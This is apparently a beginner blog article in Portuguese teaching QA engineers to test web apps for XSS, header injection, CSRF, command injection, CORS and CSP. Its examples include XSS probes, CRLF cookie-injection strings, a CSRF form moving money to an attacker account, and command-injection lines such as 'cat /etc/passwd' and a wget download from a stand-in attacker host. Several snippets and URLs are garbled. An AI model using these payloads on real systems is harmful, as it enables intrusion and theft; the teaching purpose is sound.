Este artigo explora vulnerabilidades fundamentais e técnicas de teste, fornecendo insights práticos para aprimorar suas habilidades de pentesting de aplicativos da web. O artigo combina uma série de postagens dedicadas a engenheiros e analistas de controle de qualidade, fornecendo uma exploração prática das vulnerabilidades fundamentais da segurança cibernética. O objetivo é capacitar engenheiros/testadores/analistas de controle de qualidade com conhecimento que preencha a lacuna entre controle de qualidade de software e segurança cibernética , promovendo uma abordagem unificada para garantir a integridade e a segurança das aplicações web.
Este não é um guia definitivo, mas gostaria de compartilhar minha experiência como engenheiro de controle de qualidade interessado na área de segurança cibernética; serão informações bastante superficiais com alguns links úteis se você estiver interessado em aprender alguns aspectos mais profundamente.
Uma das vulnerabilidades críticas e mais comuns é o XSS - https://owasp.org/www-community/attacks/xss/
Compartilharei uma abordagem simples e dicas sobre como testar o XSS sem ter amplo conhecimento na área e em tecnologias de desenvolvimento front-end.
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/))
Envie a entrada e veja se o script é executado.
Se isso acontecer, o aplicativo estará vulnerável a ataques XSS.
Se o script não for executado, tente modificar a entrada adicionando outras tags HTML, como <img> ou <iframe>, e veja se elas são refletidas na página, por exemplo (este exemplo quase sempre funciona para mim)
<b>t</b>#`"/*—est
Você pode adicionar um script para consultar parâmetros do URL do seu aplicativo da web ou um nome de usuário, nomes de arquivos carregados ( https://github.com/cure53/H5SC ) ou qualquer texto que será exibido na página do aplicativo que você pode alterar .
Esteja ciente das validações front-end de entradas. Sempre tente enviar o valor por meio de uma solicitação direta (usando Postman, Burp ou qualquer ferramenta semelhante).
Use difusão e uma lista de cargas úteis - automatize essa abordagem quando possível ou use ferramentas especiais para isso.
Falando em ferramentas, existem muitas para descobrir XSS, experimentar diferentes, comparar resultados várias vezes com aplicativos diferentes e escolher o que você mais gosta: https://linuxhint.com/free_xss_tools/ (usei bastante OWASP ZAP e BurpSuite).
Pessoalmente, gosto de usar cargas úteis e informações daqui - https://github.com/s0md3v/AwesomeXSS - um recurso muito útil, na minha opinião.
Para obter mais detalhes sobre XSS e cargas úteis, você pode encontrar os seguintes recursos:
Esta vulnerabilidade ocorre quando um invasor pode injetar código malicioso no cabeçalho de um site, permitindo-lhe executar ações não autorizadas ou acessar informações confidenciais.
Para testar as injeções de cabeçalho, você pode seguir algumas etapas:
(%0d%0a OR \r\n)
Por exemplo, a seguinte carga poderia ser usada para injetar um cabeçalho Set-Cookie:
User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked
Outro exemplo é a injeção de cabeçalho Host, onde um invasor pode manipular o cabeçalho Host para acessar outro site ou subdomínio no mesmo servidor. Por exemplo:
Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com
Para saber mais sobre injeções de cabeçalho, você pode consultar os seguintes recursos:
O CSRF ocorre quando um site malicioso engana um usuário para que ele atue em um site diferente no qual o usuário está conectado no momento. Esse tipo de ataque pode resultar na execução de ações não autorizadas (qualquer solicitação POST) em nome do usuário.
Para testar vulnerabilidades CSRF, em poucas palavras, você pode fazer o seguinte:
<html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html>
Para evitar ataques CSRF, use tokens anti-CSRF ou cookies do mesmo site para validar a origem da solicitação. Esses tokens são valores exclusivos gerados pelo servidor e incluídos no formulário ou nos parâmetros de URL. Quando o formulário é enviado, o servidor verifica se o token corresponde ao valor esperado e rejeita a solicitação se não corresponder. Aqui está um exemplo em Python:
import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response
Recursos úteis:
As vulnerabilidades RCE e Command Injection ocorrem quando os invasores podem executar código arbitrário ou comandos do sistema operacional em um sistema de destino. Esses tipos de ataques podem resultar no comprometimento total do sistema e no acesso não autorizado a dados confidenciais.
Para testar vulnerabilidades de RCE e injeção de comando, em poucas palavras, você pode fazer o seguinte:
; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3
Nem todas as cargas resultarão em alguma saída visível. Nesses casos, pode ser necessário usar outros métodos, como monitorar o tráfego de rede ou revisar arquivos de log.
Para evitar ataques de RCE e injeção de comando, a entrada do usuário deve ser validada e caracteres ou comandos maliciosos devem ser removidos ou higienizados.
Aqui estão alguns recursos úteis para aprendizagem adicional:
Esse tipo de ataque ocorre quando você manipula os parâmetros enviados do lado do cliente para o lado do servidor, levando, por exemplo, a acesso não autorizado ou escalonamento de privilégios.
Para testar esse tipo de vulnerabilidade, você pode fazer o seguinte:
Para evitar ataques de adulteração de parâmetros da Web, a validação e a higienização de entradas são cruciais. Certifique-se de que todos os dados de entrada sejam validados no lado do servidor e que o aplicativo rejeite quaisquer entradas maliciosas. Eu diria que esses tipos de vulnerabilidades são os melhores para serem identificados por uma equipe de controle de qualidade porque os controles de qualidade conhecem o aplicativo/produto e sua lógica e parâmetros melhor do que os engenheiros de segurança da informação que geralmente não estão envolvidos no processo de desenvolvimento.
Aqui estão alguns recursos adicionais para ajudá-lo a aprender mais sobre adulteração de parâmetros da Web:
Este é um mecanismo de segurança que impede que páginas da web façam solicitações para um domínio diferente daquele que atendeu a página da web.
Você pode testar fazendo o seguinte:
fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); })
access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
Siga estas etapas simples:
Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With
Resposta:
HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With
Para obter mais informações sobre CORS, aqui estão alguns recursos úteis:
CSP é um mecanismo que ajuda a prevenir ataques XSS, permitindo especificar quais fontes de conteúdo podem ser carregadas nas páginas da web. Sem um cabeçalho CSP definido, é potencialmente possível injetar scripts maliciosos na página e roubar dados confidenciais do usuário ou realizar outras ações.
Você pode fazer o seguinte para verificar o cabeçalho CSP:
document.cookie=TESTCOOKIE=XSS;
Tente injetar um script na página e veja se ele é executado. Por exemplo, insira o seguinte código no console do navegador:
var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script);
Procure o cabeçalho Content-Security-Policy nos cabeçalhos de resposta. Se este cabeçalho estiver faltando, significa que a página da web não possui nenhum cabeçalho CSP definido.
O cabeçalho CSP é algo importante na segurança de aplicativos da web.
Para mais informações sobre CSP:
A relação simbiótica entre segurança cibernética e controle de qualidade de software é importante em termos de segurança de aplicativos de software. Através da integração de metodologias de modelagem de ameaças e técnicas automatizadas de testes fuzz, os engenheiros de controle de qualidade contribuem significativamente para a detecção precoce e mitigação de vulnerabilidades de segurança. A colaboração entre as equipes de segurança cibernética e de controle de qualidade é parte integrante de uma abordagem unificada para o desenvolvimento de software, com o papel do controle de qualidade estendendo-se além dos testes funcionais e de usabilidade para abranger a identificação proativa e a retificação de possíveis falhas de segurança. É importante reconhecer o controle de qualidade como um ativo estratégico nos esforços de segurança cibernética, pois não apenas melhora a proteção de dados, mas também protege a reputação de uma empresa, a confiança do cliente e a estabilidade financeira geral. As competências técnicas dos profissionais de QA, juntamente com as suas rigorosas práticas de testes, estabelecem uma defesa robusta contra ameaças cibernéticas.
Sempre conduza testes de penetração com permissão explícita e em um ambiente controlado. Esta abordagem ética garante que as avaliações de segurança se alinhem com protocolos de testes responsáveis, evitando comprometimentos inadvertidos dos sistemas e mantendo a integridade do processo de testes e da estratégia global de segurança cibernética.
Este artigo compartilha dicas práticas para engenheiros de controle de qualidade melhorarem os testes de segurança de aplicativos da web, conectando controle de qualidade de software e segurança cibernética. É um guia para iniciantes com insights e links úteis para quem deseja aprender mais.
Também publicado aqui .